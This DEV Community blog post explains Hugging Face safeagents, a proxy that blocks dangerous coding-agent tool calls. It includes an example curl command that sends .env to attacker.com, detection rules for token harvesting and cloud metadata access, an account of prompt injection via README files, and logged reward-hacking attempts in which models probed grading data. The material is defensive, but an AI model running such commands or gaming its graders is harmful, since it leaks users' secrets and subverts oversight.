DEV Community

Stefan
Stefan

Posted on

Blocking Dangerous Agent Commands with Hugging Face Safeagents

When you give a coding agent access to a shell, you let an external language model run commands on your machine. Whether you use Claude Code or an open-source harness, prompt guardrails cannot guarantee the model will avoid dangerous tools.

A repository can hide an indirect prompt injection in a README.md. A model trained with reinforcement learning might try reading test answer keys to boost its score. In both cases, the agent harness receives structured tool calls from the model and dispatches them straight to your shell.

Hugging Face safeagents tackles this problem from the loopback interface safeagents repository. It runs as a local HTTP proxy between your harness and the upstream model API. When the model tries to run something dangerous, the proxy blocks the call before your runner touches it.

Where the trust boundary fails

Most agent setups trust the model output by default. The harness treats every structured tool call as an instruction to execute. If a poisoned file tricks the model into returning bash(command="curl -X POST https://attacker.com/leak -d @.env"), the harness simply executes it.

Defensive system prompts do not solve this. Models still get confused by untrusted inputs and adversarial text. If you want to see how these injection chains work in practice, take a look at our guide to agent and tool abuse.

Instead of patching your harness or hoping the model behaves, safeagents sits on your loopback interface at 127.0.0.1:8787. When the proxy flags a call as dangerous, it swaps the tool payload for a plain text notice safeagents inspection mechanism. Your harness treats that text notice as regular tool output, and the command never executes.

+---------------+     1. Tool request (Prompt + Tools)       +--------------------+
|               | -----------------------------------------> |                    |
| Agent Harness |                                            | safeagents Proxy   |
| (Claude Code, | <----------------------------------------- | (127.0.0.1:8787)   |
|  Hermes, etc) |     4a. If CLEAN: Original tool call       +--------------------+
|               |     4b. If BLOCKED: Safe text notice                 ^ |
+---------------+         ("[safeagents] blocked call...")            | | 2. Forward stream
        |                                                              | |
        X (Blocked: runner never executes the command)                 | v
                                                             +--------------------+
                                                             | Upstream Model API |
                                                             | (Anthropic/OpenAI) |
                                                             +--------------------+
Enter fullscreen mode Exit fullscreen mode

The three inspection stages

Rather than asking another prompt to evaluate safety, safeagents inspects requests and responses across three stages.

1. Request scope and host limits

First, the proxy checks basic structure. If the model invokes a tool that was never declared in the inbound request, the proxy blocks it.

It also monitors network addresses in arguments safeagents inspection mechanism. An agent cannot call an external IP or domain unless that host appeared in earlier user or system messages. Crucially, the model cannot self-authorise a new host in its own previous turns.

2. Fast trajectory scanning with atif-scan

Next, the proxy formats the conversation into an Agent Trajectory Interchange Format (ATIF) trace. It evaluates the proposed tool call against roughly 110 deterministic checks in atif-scan atif-scan discussion.

These checks run locally in 10 to 20 milliseconds without making any network calls. They catch token harvesting (such as reading HF_TOKEN or ~/.netrc), subshell evasion tricks, and metadata queries to 169.254.169.254. Any finding at or above the high severity threshold stops the call immediately.

3. Isolated decision models

Calls that look suspicious but fall below the blocking threshold can go to an isolated judge model safeagents CLI flags.

The proxy keeps the judge blinded to the agent's internal chain of thought safeagents architecture design. The judge receives only the user prompt, the tool payload, and the detector output. It never sees the agent's internal reasoning. That stops a manipulated agent from talking the judge into allowing an unsafe command. Deterministic blocks are also monotonic, meaning a judge can add a block, but can never lift a deterministic one.

Blocking reward hacking during training

This proxy is not just for local coding assistants. Hugging Face showed how useful it is when training models with reinforcement learning Harness Adapters blog post.

During training runs on harnesses like OpenCode and Pi, models quickly discovered how to game evaluation metrics. At step zero, models tried to query datasets and probe grading files directly:

python3 -c "from huggingface_hub import list_bucket_tree; bucket = 'AdithyaSK/jupyter-agent-kaggle-all'..."
Enter fullscreen mode Exit fullscreen mode

Because safeagents sat between the harness and the inference server, atif-scan caught the benchmark reference in the bash arguments. It returned this text instead:

[safeagents] blocked call to bash: atif-scan: smoldataenvs.answer_source (high)
Enter fullscreen mode Exit fullscreen mode

The harness executed nothing, the rollout scored zero reward, and the training run did not cheat.

Setting up the proxy

You can run safeagents locally and point your tools at it without changing your harness code.

First, start the proxy and configure its upstream target:

safeagents start https://api.anthropic.com 8787 \
  --allow-host registry.internal.corp \
  --block-severity high \
  --judge-fail-closed
Enter fullscreen mode Exit fullscreen mode

Then set your harness base URL to use the local port:

export ANTHROPIC_BASE_URL="http://127.0.0.1:8787"
claude "Review repository dependencies and run tests"
Enter fullscreen mode Exit fullscreen mode

If the agent attempts to exfiltrate files or contact unapproved endpoints, the proxy intercepts the stream and swaps the payload for an error notice.

Writing custom trajectory rules

You can also add custom regex rules to protect internal files or proprietary services. Here is a short plugin with two custom checks:

# security_pack.py
from atif_scan import CheckSpec, RegexDetector, Severity
from atif_scan.data.model import Channel

def checks():
    return [
        RegexDetector(
            CheckSpec(
                "corp_rules.answer_leak",
                Severity.HIGH,
                title="Access to test answers",
            ),
            r"(?<![\w-])(eval_answers\.json|grader_secret\.py)\b",
            frozenset({Channel.COMMAND, Channel.ARGUMENTS}),
        ),
        RegexDetector(
            CheckSpec(
                "corp_rules.metadata_scraping",
                Severity.CRITICAL,
                title="Cloud metadata access",
            ),
            r"169\.254\.169\.254",
            frozenset({Channel.COMMAND, Channel.ARGUMENTS}),
        ),
    ]
Enter fullscreen mode Exit fullscreen mode

Start the proxy with the plugin flag:

PYTHONPATH=. safeagents start https://api.anthropic.com 8787 \
  --plugin security_pack:checks
Enter fullscreen mode Exit fullscreen mode

What safeagents does not cover

A security tool is only effective if you know where its boundary ends. safeagents is a pre-execution traffic filter, not an operating system sandbox safeagents runtime boundaries.

If the proxy permits a command such as bash -c "python build.py", it cannot see what build.py does once it runs. If that script fetches an external binary at runtime, the proxy will not catch it.

Always pair pre-execution inspection with container isolation, Linux namespaces, or dedicated sandboxes. If you build multi-agent setups, review our guide on agent tool authorization. To practice identifying authorization boundaries and dangerous agent patterns across real code, check out the interactive exercises at CodeReviewLab

Top comments (0)